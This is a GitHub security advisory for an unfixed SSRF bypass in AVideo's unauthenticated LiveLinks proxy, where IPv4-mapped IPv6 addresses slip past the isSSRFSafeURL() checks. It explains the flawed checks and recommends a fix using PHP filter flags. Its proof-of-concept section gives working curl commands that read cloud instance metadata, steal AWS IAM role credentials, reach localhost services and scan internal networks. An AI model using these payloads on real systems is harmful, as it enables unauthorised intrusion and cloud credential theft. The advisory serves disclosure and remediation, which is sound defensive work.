GHSA-p3gr-g84w-g8hh AVideo has a SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses in Unauthenticated LiveLinks Proxy

• Packagist wwbn/avideo: <= 26.0 (no fix yet)

Summary The `isSSRFSafeURL()` function in AVideo can be bypassed using IPv4-mapped IPv6 addresses (`::ffff:x.x.x.x`). The unauthenticated `plugin/LiveLinks/proxy.php` endpoint uses this function to validate URLs before fetching them with curl, but the IPv4-mapped IPv6 prefix passes all checks, allowing an attacker to access cloud metadata services, internal networks, and localhost services. Details The `isSSRFSafeURL()` function in `objects/functions.php` (lines 4021-4169) implements SSRF protection with two separate check paths: 1. IPv4 checks (lines 4101-4134): Regex patterns matching dotted-decimal notation (`/^10\./`, `/^172\./`, `/^192\.168\./`, `/^127\./`, `/^169\.254\./`) 2. IPv6 checks (lines 4150-4166): Checks for `::1`, `fe80::/10` (link-local), and `fc00::/7` (unique local) The gap: IPv4-mapped IPv6 addresses (`::ffff:0:0/96`) are not checked in either path. When a URL like `http://[::ffff:169.254.169.254]/` is provided: ``` // Line 4038: parse_url strips brackets from IPv6 host $host = parse_url($url, PHP_URL_HOST); // $host = "::ffff:169.254.169.254" // Line 4079: filter_var recognizes it as valid IPv6, skips DNS resolution if (!filter_var($host, FILTER_VALIDATE_IP)) { $resolvedIP = gethostbyname($host); // SKIPPED } $ip = $host; // $ip = "::ffff:169.254.169.254" // Lines 4101-4134: IPv4 regex checks DON'T match (not dotted-decimal) if (preg_match('/^169\.254\.\d{1,3}\.\d{1,3}$/', $ip)) // NO MATCH // Lines 4150-4166: IPv6 checks don't cover ::ffff: prefix if ($ip === '::1' || ...) // NO MATCH if (preg_match('/^fe[89ab][0-9a-f]:/i', $ip)) // NO MATCH if (preg_match('/^f[cd][0-9a-f]{2}:/i', $ip)) // NO MATCH // Line 4168: returns TRUE — bypass complete return true; ``` The vulnerable endpoint `plugin/LiveLinks/proxy.php` explicitly disables authentication: ```php // proxy.php lines 2-3 $doNotConnectDatabaseIncludeConfig = 1; $doNotStartSessionbaseIncludeConfig = 1; ``` After the bypass, two requests are made to the attacker-controlled URL: 1. `get_headers()` at line 40 (via stream context) 2. `fakeBrowser()` at line 63 (via curl) — response content is echoed back to the attacker (lines 69-80) PoC Read AWS instance metadata (IAM credentials): ```bash curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/' ``` Access localhost services: ```bash curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:127.0.0.1]:3306/' ``` Scan internal network: ```bash curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:10.0.0.1]/' ``` Steal AWS IAM role credentials (full chain): ```bash Step 1: Get IAM role name ROLE=$(curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/') Step 2: Get temporary credentials for the role curl -s "https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/${ROLE}" ``` Impact • Cloud credential theft: Unauthenticated attackers can read cloud instance metadata (AWS IMDSv1, GCP, Azure) to steal IAM credentials, potentially gaining full access to cloud infrastructure. • Internal network access: Attackers can scan and access internal services not exposed to the internet, including databases, admin panels, and other backend services. • Localhost service access: Attackers can interact with services bound to localhost (e.g., Redis, Memcached, internal APIs). • No authentication required: The endpoint explicitly disables session handling and database connections, making this exploitable by any anonymous internet user. Recommended Fix Replace the manual IPv4/IPv6 blocklist approach with PHP's built-in `FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE` flags, which correctly handle all private/reserved ranges including IPv4-mapped IPv6 addresses: ```php // In isSSRFSafeURL(), replace lines 4099-4166 with: // Block all private and reserved IP ranges (handles IPv4, IPv6, and IPv4-mapped IPv6) if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { _error_log("isSSRFSafeURL: blocked private/reserved IP: {$ip}"); return false; } ``` This single check replaces all the manual regex patterns and correctly handles: • All RFC 1918 private ranges (10/8, 172.16/12, 192.168/16) • Loopback (127/8, ::1) • Link-local (169.254/16, fe80::/10) • Unique local (fc00::/7) • IPv4-mapped IPv6 (`::ffff:0:0/96`) — the bypass vector in this finding • Other reserved ranges (0/8, 100.64/10 CGN, etc.)